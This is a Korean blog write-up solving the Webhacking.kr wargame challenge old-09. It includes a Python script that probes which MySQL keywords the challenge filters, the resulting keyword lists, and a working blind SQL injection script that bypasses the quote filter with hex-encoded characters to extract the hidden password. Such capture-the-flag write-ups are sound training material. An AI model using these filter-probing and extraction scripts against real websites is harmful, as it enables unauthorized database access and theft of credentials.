WarGame/Webhacking.kr

[Webhacking.kr] old-09 Answer

Old-09 Domain & Tool

  • 구분 : Blind SQL Injection
  • 문제풀이에 사용된 도구 
    • python 3.10
      • Module : requests, BeautifulSoup4

Old-09 Question & Answer

문제의 화면은 1,2,3의 a태그가 걸려있고, Password 를 입력하는 필드가 있다. 우선 국룰로 password에 ' or 1=1-- 해보자

우선 GET방식으로 동작한다는 것은 알았고, 날먹은 안된다는 것을 알았다. 각각의 a태그를 클릭해서 동작을 확인해보자

각각 1,2,3의 태그를 눌었을때의 화면의 변화이다. 3의 값이 <b>Secret로 no'3의 id가 password라는 값이라는 것을 알 수 있다. url의 no가 get방식으로 변경되는데 이곳에 sql injection이 가능한지 보자

일단 작은따옴표 특수문자가 막혀있다. 다만 모든 sql injection의 keyword를 막아둔것은 아닌것으로 보인다.

괄호를 입력했을때의 결과이다. Access Denied가 아니라 apple / banana / Secret을 안띄우는 그냥 textfield가 출력된다. 이를 이용하면 blind sql injection을 적용할 수 있을거 같다. 다른 해답블로그포스팅에 본인보다 해설이 잘 설명되어있다보니까 조금의 차별화를 위해서 MySQL site에서 모든 Keyword를 다운로드 받아서 뭐가 돌아가고 안돌아가는지 PASS FAIL 리스트를 만드는 코드를 추가로 짜보았다.

 

MySQL :: MySQL 8.0 Reference Manual :: 9.3 Keywords and Reserved Words

9.3 Keywords and Reserved Words Keywords are words that have significance in SQL. Certain keywords, such as SELECT, DELETE, or BIGINT, are reserved and require special treatment for use as identifiers such as table and column names. This may also be true

dev.mysql.com

from requests import get
import string
from bs4 import * 




if __name__=="__main__" :

    url = "https://webhacking.kr/challenge/web-09/?no="
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"//자신의 PHPSESSID//",}

    ### Build SQL QUERY
    with open("SQL_RESERVED_WORD.dat","r") as f:
        words = f.read().split("\n")

    test_list = [word for word in words
                 if word.strip()!=""and
                 len(word.strip())!=1]

    for i in range(len(test_list)) :
        if ";" in test_list[i] :
            test_list[i] = test_list[i].split(";")[0].strip()
            
        test_list[i] = test_list[i].replace("(R)","").strip()
        test_list[i] = test_list[i].replace("(nonreserved)","").strip()

    test_list = test_list + list(string.punctuation)

    pass_list = []
    fail_list = []

    for case in test_list :

        new_url = url+case

        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")

        if ("Access Denied" in soup.text) :
            fail_list.append(case)
            print(case,"FAIL")
        else :
            pass_list.append(case)
            print(case,"PASS")

    with open("PASS_SQL_LIST.dat","w") as f:
        for p in pass_list :
            f.write(p+"\n")
    
    with open("FAIL_SQL_LIST.dat","w") as f:
        for fa in fail_list :
            f.write(fa+"\n")

결과로 통과되는 SQL Keyword가 훨씬 많다 궁금한 사람은 아래의 스압압박글을 확인해보자

더보기
  • 통과 : 'ACCESSIBLE', 'ACCOUNT', 'ACTION', 'ACTIVE', 'ADD', 'ADMIN', 'AFTER', 'AGAINST', 'AGGREGATE', 'ALL', 'ALTER', 'ALWAYS', 'ANALYSE', 'ANALYZE', 'ANY', 'ARRAY', 'AS', 'ASC', 'ASENSITIVE', 'AT', 'ATTRIBUTE', 'AUTHENTICATION', 'AUTOEXTEND_SIZE', 'AUTO_INCREMENT', 'AVG', 'AVG_ROW_LENGTH', 'BACKUP', 'BEGIN', 'BETWEEN', 'BIGINT', 'BIT', 'BLOB', 'BLOCK', 'BOOL', 'BOOLEAN', 'BOTH', 'BTREE', 'BUCKETS', 'BY', 'BYTE', 'CACHE', 'CALL', 'CASCADE', 'CASCADED', 'CASE', 'CATALOG_NAME', 'CHAIN', 'CHALLENGE_RESPONSE', 'CHANGE', 'CHANGED', 'CHANNEL', 'CHECK', 'CHECKSUM', 'CIPHER', 'CLIENT', 'CLONE', 'CLOSE', 'COALESCE', 'CODE', 'COLLATE', 'COLLATION', 'COLUMN', 'COLUMNS', 'COLUMN_NAME', 'COMMENT', 'COMMIT', 'COMMITTED', 'COMPACT', 'COMPLETION', 'COMPONENT', 'COMPRESSED', 'COMPRESSION', 'CONCURRENT', 'CONDITION', 'CONNECTION', 'CONSISTENT', 'CONSTRAINT', 'CONSTRAINT_CATALOG', 'CONSTRAINT_NAME', 'CONSTRAINT_SCHEMA', 'CONTAINS', 'CONTEXT', 'CONTINUE', 'CPU', 'CREATE', 'CROSS', 'CUBE', 'CUME_DIST', 'CURRENT', 'CURRENT_DATE', 'CURRENT_TIME', 'CURRENT_TIMESTAMP', 'CURRENT_USER', 'DATA', 'DATABASE', 'DATABASES', 'DATAFILE', 'DATE', 'DATETIME', 'DAY', 'DAY_HOUR', 'DAY_MICROSECOND', 'DAY_MINUTE', 'DAY_SECOND', 'DEC', 'DECIMAL', 'DECLARE', 'DEFAULT', 'DEFAULT_AUTH', 'DEFINER', 'DEFINITION', 'DELAYED', 'DELAY_KEY_WRITE', 'DELETE', 'DENSE_RANK', 'DESC', 'DESCRIBE', 'DESCRIPTION', 'DES_KEY_FILE', 'DETERMINISTIC', 'DIAGNOSTICS', 'DISABLE', 'DISCARD', 'DISK', 'DISTINCT', 'DISTINCTROW', 'DIV', 'DO', 'DOUBLE', 'DROP', 'DUAL', 'DUMPFILE', 'DUPLICATE', 'DYNAMIC', 'EACH', 'ELSE', 'ELSEIF', 'EMPTY', 'ENABLE', 'ENCLOSED', 'ENCRYPTION', 'END', 'ENDS', 'ENGINE', 'ENGINES', 'ENGINE_ATTRIBUTE', 'ENUM', 'ESCAPE', 'ESCAPED', 'EVENT', 'EVENTS', 'EVERY', 'EXCEPT', 'EXCHANGE', 'EXCLUDE', 'EXECUTE', 'EXISTS', 'EXIT', 'EXPANSION', 'EXPIRE', 'EXPLAIN', 'EXTENDED', 'EXTENT_SIZE', 'FAILED_LOGIN_ATTEMPTS', 'FALSE', 'FAST', 'FAULTS', 'FETCH', 'FILE', 'FILE_BLOCK_SIZE', 'FILTER', 'FINISH', 'FIRST', 'FIRST_VALUE', 'FIXED', 'FLOAT', 'FLOAT4', 'FLOAT8', 'FLUSH', 'FOLLOWING', 'FOLLOWS', 'FOUND', 'FULL', 'FULLTEXT', 'FUNCTION', 'GENERAL', 'GENERATED', 'GEOMCOLLECTION', 'GEOMETRY', 'GEOMETRYCOLLECTION', 'GET', 'GET_MASTER_PUBLIC_KEY', 'GET_SOURCE_PUBLIC_KEY', 'GLOBAL', 'GRANT', 'GRANTS', 'GROUP', 'GROUPING', 'GROUPS', 'GROUP_REPLICATION', 'GTID_ONLY', 'HASH', 'HAVING', 'HELP', 'HISTOGRAM', 'HOST', 'HOSTS', 'HOUR', 'HOUR_MICROSECOND', 'HOUR_MINUTE', 'HOUR_SECOND', 'IDENTIFIED', 'IF', 'IN', 'INACTIVE', 'INDEX', 'INDEXES', 'INFILE', 'INITIAL', 'INITIAL_SIZE', 'INITIATE', 'INNER', 'INOUT', 'INSENSITIVE', 'INSTALL', 'INSTANCE', 'INT', 'INT1', 'INT2', 'INT3', 'INT4', 'INT8', 'INTEGER', 'INTERSECT', 'INTERVAL', 'INTO', 'INVISIBLE', 'INVOKER', 'IO', 'IO_AFTER_GTIDS', 'IO_THREAD', 'IPC', 'IS', 'ISOLATION', 'ISSUER', 'ITERATE', 'JOIN', 'JSON', 'JSON_TABLE', 'JSON_VALUE', 'KEY', 'KEYRING', 'KEYS', 'KEY_BLOCK_SIZE', 'KILL', 'LAG', 'LANGUAGE', 'LAST', 'LAST_VALUE', 'LATERAL', 'LEAD', 'LEADING', 'LEAVE', 'LEAVES', 'LESS', 'LEVEL', 'LIKE', 'LINEAR', 'LINES', 'LINESTRING', 'LIST', 'LOCAL', 'LOCALTIME', 'LOCALTIMESTAMP', 'LOCK', 'LOCKED', 'LOCKS', 'LOGFILE', 'LOGS', 'LONG', 'LONGBLOB', 'LONGTEXT', 'LOOP', 'MASTER', 'MASTER_AUTO_POSITION', 'MASTER_CONNECT_RETRY', 'MASTER_DELAY', 'MASTER_HEARTBEAT_PERIOD', 'MASTER_HOST', 'MASTER_LOG_FILE', 'MASTER_LOG_POS', 'MASTER_PUBLIC_KEY_PATH', 'MASTER_RETRY_COUNT', 'MASTER_SERVER_ID', 'MASTER_SSL', 'MASTER_SSL_CA', 'MASTER_SSL_CAPATH', 'MASTER_SSL_CERT', 'MASTER_SSL_CIPHER', 'MASTER_SSL_CRL', 'MASTER_SSL_CRLPATH', 'MASTER_SSL_KEY', 'MASTER_SSL_VERIFY_SERVER_CERT', 'MASTER_TLS_CIPHERSUITES', 'MASTER_TLS_VERSION', 'MASTER_USER', 'MASTER_ZSTD_COMPRESSION_LEVEL', 'MATCH', 'MAXVALUE', 'MAX_CONNECTIONS_PER_HOUR', 'MAX_QUERIES_PER_HOUR', 'MAX_ROWS', 'MAX_SIZE', 'MAX_UPDATES_PER_HOUR', 'MAX_USER_CONNECTIONS', 'MEDIUM', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'MEMBER', 'MERGE', 'MESSAGE_TEXT', 'MICROSECOND', 'MIGRATE', 'MINUTE', 'MINUTE_MICROSECOND', 'MINUTE_SECOND', 'MIN_ROWS', 'MOD', 'MODE', 'MODIFIES', 'MODIFY', 'MONTH', 'MULTILINESTRING', 'MULTIPOINT', 'MULTIPOLYGON', 'MUTEX', 'MYSQL_ERRNO', 'NAME', 'NAMES', 'NATIONAL', 'NATURAL', 'NDB', 'NDBCLUSTER', 'NESTED', 'NEVER', 'NEW', 'NEXT', 'NO', 'NODEGROUP', 'NONE', 'NOWAIT', 'NO_WAIT', 'NTH_VALUE', 'NTILE', 'NULL', 'NULLS', 'NUMBER', 'NUMERIC', 'OF', 'OFF', 'OJ', 'OLD', 'ON', 'ONE', 'ONLY', 'OPEN', 'OPTIMIZE', 'OPTIMIZER_COSTS', 'OPTION', 'OPTIONAL', 'OPTIONALLY', 'OPTIONS', 'OTHERS', 'OUT', 'OUTER', 'OUTFILE', 'OVER', 'OWNER', 'PACK_KEYS', 'PAGE', 'PARSER', 'PARTIAL', 'PARTITION', 'PARTITIONING', 'PARTITIONS', 'PATH', 'PERCENT_RANK', 'PERSIST', 'PERSIST_ONLY', 'PHASE', 'PLUGIN', 'PLUGINS', 'PLUGIN_DIR', 'POINT', 'POLYGON', 'PRECEDES', 'PRECEDING', 'PRECISION', 'PREPARE', 'PRESERVE', 'PREV', 'PRIMARY', 'PRIVILEGES', 'PRIVILEGE_CHECKS_USER', 'PURGE', 'QUARTER', 'QUERY', 'QUICK', 'RANGE', 'RANK', 'READ', 'READS', 'READ_ONLY', 'READ_WRITE', 'REAL', 'REBUILD', 'RECOVER', 'RECURSIVE', 'REDOFILE', 'REDO_BUFFER_SIZE', 'REDUNDANT', 'REFERENCE', 'REFERENCES', 'REGEXP', 'REGISTRATION', 'RELAY', 'RELAYLOG', 'RELAY_LOG_FILE', 'RELAY_LOG_POS', 'RELAY_THREAD', 'RELEASE', 'REMOTE', 'REMOVE', 'RENAME', 'REPAIR', 'REPEAT', 'REPEATABLE', 'REPLACE', 'REPLICA', 'REPLICAS', 'REPLICATE_DO_DB', 'REPLICATE_DO_TABLE', 'REPLICATE_REWRITE_DB', 'REPLICATE_WILD_DO_TABLE', 'REPLICATION', 'REQUIRE', 'RESIGNAL', 'RESOURCE', 'RESPECT', 'RESTART', 'RESTRICT', 'RESUME', 'RETAIN', 'RETURN', 'RETURNED_SQLSTATE', 'RETURNING', 'RETURNS', 'REUSE', 'REVERSE', 'REVOKE', 'RIGHT', 'RLIKE', 'ROLE', 'ROLLBACK', 'ROLLUP', 'ROTATE', 'ROUTINE', 'ROW', 'ROWS', 'ROW_COUNT', 'ROW_NUMBER', 'RTREE', 'SAVEPOINT', 'SCHEDULE', 'SCHEMA', 'SCHEMAS', 'SCHEMA_NAME', 'SECOND', 'SECONDARY', 'SECONDARY_ENGINE', 'SECONDARY_ENGINE_ATTRIBUTE', 'SECOND_MICROSECOND', 'SECURITY', 'SENSITIVE', 'SERIAL', 'SERIALIZABLE', 'SERVER', 'SESSION', 'SHARE', 'SHOW', 'SHUTDOWN', 'SIGNAL', 'SIGNED', 'SIMPLE', 'SKIP', 'SLAVE', 'SLOW', 'SMALLINT', 'SNAPSHOT', 'SOCKET', 'SOME', 'SONAME', 'SOUNDS', 'SOURCE', 'SOURCE_AUTO_POSITION', 'SOURCE_CONNECT_RETRY', 'SOURCE_DELAY', 'SOURCE_HEARTBEAT_PERIOD', 'SOURCE_HOST', 'SOURCE_LOG_FILE', 'SOURCE_LOG_POS', 'SOURCE_PUBLIC_KEY_PATH', 'SOURCE_RETRY_COUNT', 'SOURCE_SSL', 'SOURCE_SSL_CA', 'SOURCE_SSL_CAPATH', 'SOURCE_SSL_CERT', 'SOURCE_SSL_CIPHER', 'SOURCE_SSL_CRL', 'SOURCE_SSL_CRLPATH', 'SOURCE_SSL_KEY', 'SOURCE_SSL_VERIFY_SERVER_CERT', 'SOURCE_TLS_CIPHERSUITES', 'SOURCE_TLS_VERSION', 'SOURCE_USER', 'SOURCE_ZSTD_COMPRESSION_LEVEL', 'SPATIAL', 'SPECIFIC', 'SQL', 'SQLEXCEPTION', 'SQLSTATE', 'SQLWARNING', 'SQL_AFTER_GTIDS', 'SQL_AFTER_MTS_GAPS', 'SQL_BIG_RESULT', 'SQL_BUFFER_RESULT', 'SQL_CACHE', 'SQL_CALC_FOUND_ROWS', 'SQL_NO_CACHE', 'SQL_SMALL_RESULT', 'SQL_THREAD', 'SQL_TSI_DAY', 'SQL_TSI_HOUR', 'SQL_TSI_MINUTE', 'SQL_TSI_MONTH', 'SQL_TSI_QUARTER', 'SQL_TSI_SECOND', 'SQL_TSI_WEEK', 'SQL_TSI_YEAR', 'SRID', 'SSL', 'STACKED', 'START', 'STARTING', 'STARTS', 'STATS_AUTO_RECALC', 'STATS_PERSISTENT', 'STATS_SAMPLE_PAGES', 'STATUS', 'STOP', 'STRAIGHT_JOIN', 'STREAM', 'STRING', 'SUBJECT', 'SUBPARTITION', 'SUBPARTITIONS', 'SUPER', 'SUSPEND', 'SWAPS', 'SWITCHES', 'SYSTEM', 'TABLE', 'TABLES', 'TABLESPACE', 'TABLE_CHECKSUM', 'TABLE_NAME', 'TEMPTABLE', 'TERMINATED', 'TEXT', 'THAN', 'THEN', 'TIES', 'TIME', 'TIMESTAMP', 'TIMESTAMPADD', 'TIMESTAMPDIFF', 'TINYBLOB', 'TINYINT', 'TINYTEXT', 'TLS', 'TO', 'TRAILING', 'TRANSACTION', 'TRIGGER', 'TRIGGERS', 'TRUE', 'TRUNCATE', 'TYPE', 'TYPES', 'UNBOUNDED', 'UNCOMMITTED', 'UNDEFINED', 'UNDO', 'UNDOFILE', 'UNDO_BUFFER_SIZE', 'UNICODE', 'UNINSTALL', 'UNIQUE', 'UNKNOWN', 'UNLOCK', 'UNREGISTER', 'UNSIGNED', 'UNTIL', 'UPDATE', 'UPGRADE', 'USAGE', 'USE', 'USER', 'USER_RESOURCES', 'USE_FRM', 'USING', 'UTC_DATE', 'UTC_TIME', 'UTC_TIMESTAMP', 'VALIDATION', 'VALUE', 'VALUES', 'VARIABLES', 'VARYING', 'VCPU', 'VIEW', 'VIRTUAL', 'VISIBLE', 'WAIT', 'WARNINGS', 'WEEK', 'WEIGHT_STRING', 'WHEN', 'WHERE', 'WHILE', 'WINDOW', 'WITH', 'WITHOUT', 'WRAPPER', 'WRITE', 'X509', 'XA', 'XID', 'XML', 'YEAR', 'YEAR_MONTH', 'ZEROFILL', 'ZONE', '#', '$', '&', "'", '(', ')', '*', ',', '.', ':', ';', '?', '@', '_', '~', ''
  • 실패 : 'ALGORITHM', 'AND', 'ASCII', 'BEFORE', 'BINARY', 'BINLOG', 'CHAR', 'CHARACTER', 'CHARSET', 'CLASS_ORIGIN', 'COLUMN_FORMAT', 'CONVERT', 'CURSOR', 'CURSOR_NAME', 'DEALLOCATE', 'DIRECTORY', 'ENFORCED', 'ERROR', 'ERRORS', 'EXPORT', 'FACTOR', 'FIELDS', 'FOR', 'FORCE', 'FOREIGN', 'FORMAT', 'FROM', 'GET_FORMAT', 'HANDLER', 'HIGH_PRIORITY', 'HISTORY', 'IGNORE', 'IGNORE_SERVER_IDS', 'IMPORT', 'INSERT', 'INSERT_METHOD', 'IO_BEFORE_GTIDS', 'LEFT', 'LIMIT', 'LOAD', 'LOW_PRIORITY', 'MASTER_BIND', 'MASTER_COMPRESSION_ALGORITHMS', 'MASTER_PASSWORD', 'MASTER_PORT', 'MEMORY', 'MIDDLEINT', 'NCHAR', 'NETWORK_NAMESPACE', 'NOT', 'NO_WRITE_TO_BINLOG', 'NVARCHAR', 'OFFSET', 'OR', 'ORDER', 'ORDINALITY', 'ORGANIZATION', 'PASSWORD', 'PASSWORD_LOCK_TIME', 'PORT', 'PROCEDURE', 'PROCESS', 'PROCESSLIST', 'PROFILE', 'PROFILES', 'PROXY', 'RANDOM', 'RELOAD', 'REORGANIZE', 'REPLICATE_IGNORE_DB', 'REPLICATE_IGNORE_TABLE', 'REPLICATE_WILD_IGNORE_TABLE', 'REQUIRE_ROW_FORMAT', 'RESET', 'RESTORE', 'ROW_FORMAT', 'SECONDARY_LOAD', 'SECONDARY_UNLOAD', 'SELECT', 'SEPARATOR', 'SET', 'SOURCE_BIND', 'SOURCE_COMPRESSION_ALGORITHMS', 'SOURCE_PASSWORD', 'SOURCE_PORT', 'SQL_BEFORE_GTIDS', 'STORAGE', 'STORED', 'SUBCLASS_ORIGIN', 'TEMPORARY', 'THREAD_PRIORITY', 'UNION', 'VARBINARY', 'VARCHAR', 'VARCHARACTER', 'WORK', 'XOR', '!', '"', '%', '+', '-', '/', '<', '=', '>', '[', '\\', ']', '^', '`', '{', '|', '}', ''

그래서 결국 이번 Blind SQL에 쓰이는 것은 if와 length정도이다. 두개의 parameter를 보낼 것인데, 다음과 같다. if문을 쓰는 이유는 참일결과를 3으로 반환하면 Secret이라는 값을, 거짓을 반환하면 아무것도 안나오는 것을 이용하기 위함이다.(1,2로 반환해서 apple, banana쓰는건 자유다)

  • no=if(length(id)like({}),3,0) : id의 길이를 알기위함이다.{}에는 1~ pw의 길이까지 반복자가 들어갈 것이다.
  • if(substr(id,{},1)like({}),3,0) : id의 문자열을 알기위함이다. {}에는 pw의 인덱스와 문자열이 들어갈건데, 문자열은 따옴표들이 자단되어있고, ascii함수또한 집에갔으니, 헥스값(0xXX)로 변경해서 보낼것이다.

그래서 전체코드는 다음과 같다.

from requests import get
import string
from bs4 import * 

if __name__=="__main__" :

    url = "https://webhacking.kr/challenge/web-09/?no="
    header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"}
    cookie = {"PHPSESSID":"// 자신의 PHPSESSID //",}

    pw_len = 0

	
    print("### Start Blind SQL Injection ###")

    while(True) :
        print("Test for pw_len",pw_len)

        parameter = "if(length(id)like({}),3,0)".format(pw_len)

        new_url = url+parameter
        res = get(new_url, headers=header, cookies=cookie)
        soup = BeautifulSoup(res.content,"html.parser")

        if("Secret" in soup.text) :
            print("Found Length",pw_len)
            break
        pw_len +=1

    pw = ""
    test_char = list(string.ascii_lowercase+string.punctuation)

    for index in range(1,pw_len+1) :

        for ch in test_char :
            parameter = "if(substr(id,{},1)like({}),3,0)".format(index,hex(ord(ch)))
            new_url = url+parameter
            res = get(new_url, headers=header, cookies=cookie)
            soup = BeautifulSoup(res.content,"html.parser")

            if("Secret" in soup.text) :
                pw += ch
                break

            if(test_char.index(ch)==(len(test_char)-1)) :
                print("Something Strange man")
        
        print("cur_pw :",pw)

    print("End Blind SQL Injection :",pw)

결과를 password 텍스트 박스에 입력하자

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-11 Answer  (0) 2022.07.14
[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-08 Answer  (0) 2022.07.10
[Webhacking.kr] old-07 Answer  (0) 2022.07.10
[Webhacking.kr] old-06 Answer  (0) 2022.07.10